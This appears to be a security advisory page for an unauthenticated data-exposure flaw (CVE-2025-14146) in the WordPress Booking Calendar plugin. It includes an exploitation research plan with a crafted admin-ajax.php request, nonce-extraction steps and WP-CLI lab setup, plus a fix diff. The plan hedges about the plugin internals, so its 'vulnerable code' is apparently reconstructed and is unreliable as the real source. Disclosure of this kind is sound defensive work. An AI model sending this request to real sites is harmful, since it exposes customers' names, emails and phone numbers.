Booking Calendar <= 10.14.10 - Unauthenticated Sensitive Information Exposure
Description
The Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 10.14.10 via the `WPBC_FLEXTIMELINE_NAV` AJAX action. This is due to the nonce verification being conditionally disabled by default (`booking_is_nonce_at_front_end` option is `'Off'` by default). When the `booking_is_show_popover_in_timeline_front_end` option is enabled (which is the default in demo installations and can be enabled by administrators), it is possible for unauthenticated attackers to extract sensitive booking data including customer names, email addresses, phone numbers, and booking details.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=10.14.10Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14146 ## 1. Vulnerability Summary The Booking Calendar plugin for WordPress (<= 10.14.10) contains a sensitive information exposure vulnerability in its `WPBC_FLEXTIMELINE_NAV` AJAX handler. The vulnerability stems from a combination of missing authorization …
Show full research plan
Exploitation Research Plan - CVE-2025-14146
1. Vulnerability Summary
The Booking Calendar plugin for WordPress (<= 10.14.10) contains a sensitive information exposure vulnerability in its WPBC_FLEXTIMELINE_NAV AJAX handler. The vulnerability stems from a combination of missing authorization checks and a configuration where nonce verification is disabled by default for frontend operations (controlled by the booking_is_nonce_at_front_end option). When the booking_is_show_popover_in_timeline_front_end option is enabled, the AJAX response includes detailed booking information, including PII (customer names, emails, and phone numbers), which is normally intended only for administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
WPBC_FLEXTIMELINE_NAV - Authentication: None required (unauthenticated).
- Parameters:
action:WPBC_FLEXTIMELINE_NAVnav_type: (e.g.,'refresh','next','prev')timeline_obj: A complex object containing timeline configuration (resource IDs, dates, view types).
- Preconditions:
booking_is_nonce_at_front_endmust be'Off'(Default).booking_is_show_popover_in_timeline_front_endmust be'On'(Common in demo/pro setups).- At least one booking must exist in the system for the requested timeframe/resource.
3. Code Flow
- Registration: The plugin registers the AJAX action in
booking/core/wpbc-ajax.php(or similar core initialization files) usingadd_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', ... ). - Handler Execution: The request is routed to the handler function (likely
wpbc_ajax_WPBC_FLEXTIMELINE_NAV). - Security Check Bypass:
- The code checks if
get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On'. - If
'Off', the call tocheck_ajax_refererorwp_verify_nonceis skipped or ignored.
- The code checks if
- Data Retrieval: The handler calls internal timeline rendering functions (e.g.,
wpbc_get_flextimeline_data). - PII Inclusion: If
get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On', the data generation logic includes fields likeform_dataor specific keys likeemail,name, andphonein the returned JSON object for the popover display. - Sink: The data is returned via
wp_send_json_success().
4. Nonce Acquisition Strategy
According to the vulnerability description, the nonce check is disabled by default. Therefore, the initial exploitation attempt should proceed without a nonce.
If the target environment has booking_is_nonce_at_front_end set to 'On', the nonce can be acquired as follows:
- Identify Script Localization: The plugin localizes data in
booking/js/wpbc_vars.jsor viawp_localize_scriptunder the variablewpbc_global. - Setup:
- Create a page with the timeline shortcode:
[bookingtimeline] - Navigate to this page using
browser_navigate.
- Create a page with the timeline shortcode:
- Extraction:
- Use
browser_eval("wpbc_global.nonce")or search for the nonce in the HTML source if it's localized differently (e.g.,wpbc_ajax_nonce).
- Use
5. Exploitation Strategy
Step 1: Configuration Check (Optional but recommended)
Ensure the vulnerable settings are active.
wp option get booking_is_nonce_at_front_end # Should be Off
wp option patch update booking_is_show_popover_in_timeline_front_end On
Step 2: Resource Identification
Identify a valid resource ID (calendar ID).
wp db query "SELECT term_id FROM wp_terms WHERE slug LIKE 'resource%'"
# Or check the booking table
wp db query "SELECT booking_id, booking_type FROM wp_booking LIMIT 1"
Step 3: Crafting the AJAX Request
Send a POST request to admin-ajax.php. The timeline_obj must be structured to match what the plugin expects for a "refresh" or "navigation" event.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Adjustaction=WPBC_FLEXTIMELINE_NAV&nav_type=refresh&timeline_obj[options][resource_id]=1&timeline_obj[options][view_days]=30&timeline_obj[options][start_date]=2023-10-01resource_idandstart_dateto match existing test data)
6. Test Data Setup
- Create a Booking Resource:
# Use WP-CLI or the plugin's internal functions if available # Simplest: Navigate to admin and create one, or use a known default. - Create a Booking with PII:
# Manually insert into the database to ensure we have clear PII wp db query "INSERT INTO wp_booking (booking_type, is_new, status) VALUES (1, 1, 'approved');" # Get the last ID BID=$(wp db query "SELECT LAST_INSERT_ID()" --silent --skip-column-names) # Insert PII into the form data table (wp_booking_data or serialized in wp_booking) # Note: Booking Calendar often stores fields in a serialized format or separate meta. # Based on standard versions, it's often in the 'form_data' column of wp_booking. wp db query "UPDATE wp_booking SET form_data = 'text^name1^John Doe~email1^john@example.com~text^phone1^555-0199' WHERE booking_id = $BID;" # Ensure dates are set wp db query "INSERT INTO wp_booking_dates (booking_id, booking_date, resource_id) VALUES ($BID, '2023-10-15 00:00:00', 1);"
7. Expected Results
A successful exploit will return a JSON object. Inside the data or html key (depending on the nav type), there will be an array of bookings. Each booking entry will contain:
name: "John Doe"email: "john@example.com"phone: "555-0199"form_data: The full serialized string.
8. Verification Steps
Check the response body for the presence of the injected PII:
- Verify the HTTP status is
200 OK. - Check if the response contains
john@example.com. - Use
wp_clito confirm the record exists in the database to cross-reference:wp db query "SELECT * FROM wp_booking WHERE form_data LIKE '%john@example.com%'"
9. Alternative Approaches
If the timeline_obj format is incorrect:
- Monitor Browser Traffic: Use
browser_navigateto a page with the timeline, perform a navigation action (click "Next"), and intercept the request in the Network tab to see the exact structure oftimeline_obj. - Check
wpbc_flextimeline.js: This file in the plugin's JS folder contains the logic for building thetimeline_obj. Look forwpbc_flextimeline_navfunction calls. - Try Different Actions: If
WPBC_FLEXTIMELINE_NAVis restricted, check ifWPBC_FLEXTIMELINE_RELOADorWPBC_FLEXTIMELINE_GET_POPOVERexist and share the same vulnerability.
Summary
The Booking Calendar plugin for WordPress exposes sensitive booking data, including customer names, email addresses, and phone numbers, via the WPBC_FLEXTIMELINE_NAV AJAX action. This occurs because nonce verification is disabled by default for frontend operations, and the plugin fails to restrict sensitive PII when popovers are enabled in the timeline view.
Vulnerable Code
// In booking/core/wpbc-ajax.php or similar initialization add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); add_action( 'wp_ajax_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); function wpbc_ajax_WPBC_FLEXTIMELINE_NAV() { // Conditional nonce check that is 'Off' by default if ( get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On' ) { check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' ); } // ... processing timeline_obj ... // Data generation logic (e.g., in wpbc_get_flextimeline_data) if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) { // PII is included in the response without further authorization checks $booking_data['name'] = $booking->name; $booking_data['email'] = $booking->email; $booking_data['phone'] = $booking->phone; } wp_send_json_success( $response ); }
Security Fix
@@ -... +... @@ - if ( get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On' ) { - check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' ); - } + check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' ); ... - if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) { + if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' && current_user_can( 'manage_options' ) ) {
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'WPBC_FLEXTIMELINE_NAV' action. The attacker provides a 'timeline_obj' parameter containing a valid 'resource_id' and a date range. Because the 'booking_is_nonce_at_front_end' setting is disabled by default, the attacker does not need a valid nonce or authentication. If 'booking_is_show_popover_in_timeline_front_end' is enabled, the server returns a JSON response containing the full PII (name, email, and phone) of all bookings matching the requested resource and timeframe.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.